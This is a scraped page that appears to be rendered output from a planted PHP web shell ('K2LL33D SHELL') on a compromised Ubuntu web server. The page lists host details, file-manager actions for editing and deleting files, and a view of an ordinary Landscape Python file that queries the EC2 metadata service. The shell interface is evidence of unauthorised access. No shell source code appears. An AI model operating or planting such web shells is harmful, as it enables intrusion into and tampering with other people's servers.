K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / lib / python2.7 / dist-packages / landscape / lib /
server ip : 172.67.156.115

your ip : 172.69.59.192

H O M E


Filename/usr/lib/python2.7/dist-packages/landscape/lib/cloud.py
Size1.6 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified20-Feb-2014 23:01
Last accessed06-Jul-2025 23:34
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
from landscape.lib.fetch import fetch_async

EC2_HOST = "169.254.169.254"
EC2_API = "http://%s/latest" % (EC2_HOST,)
MAX_LENGTH = 64


def fetch_ec2_meta_data(fetch=None):
"""Fetch EC2 information about the cloud instance.

The C{fetch} parameter provided above is non-mocker testing purposes.
"""
cloud_data = []
# We're not using a DeferredList here because we want to keep the
# number of connections to the backend minimal. See lp:567515.
deferred = _fetch_ec2_item("instance-id", cloud_data, fetch)
deferred.addCallback(
lambda ignore: _fetch_ec2_item("instance-type", cloud_data, fetch))
deferred.addCallback(
lambda ignore: _fetch_ec2_item("ami-id", cloud_data, fetch))

def return_result(ignore):
"""Record the instance data returned by the EC2 API."""

def _process_result(value):
if value is not None:
return value.decode("utf-8")[:MAX_LENGTH]

(instance_id, instance_type, ami_id) = cloud_data
return {
"instance-id": _process_result(instance_id),
"ami-id": _process_result(ami_id),
"instance-type": _process_result(instance_type)}
deferred.addCallback(return_result)
return deferred


def _fetch_ec2_item(path, accumulate, fetch=None):
"""
Get data at C{path} on the EC2 API endpoint, and add the result to the
C{accumulate} list. The C{fetch} parameter is provided for testing only.
"""
url = EC2_API + "/meta-data/" + path
if fetch is None:
fetch = fetch_async
return fetch(url, follow=False).addCallback(accumulate.append)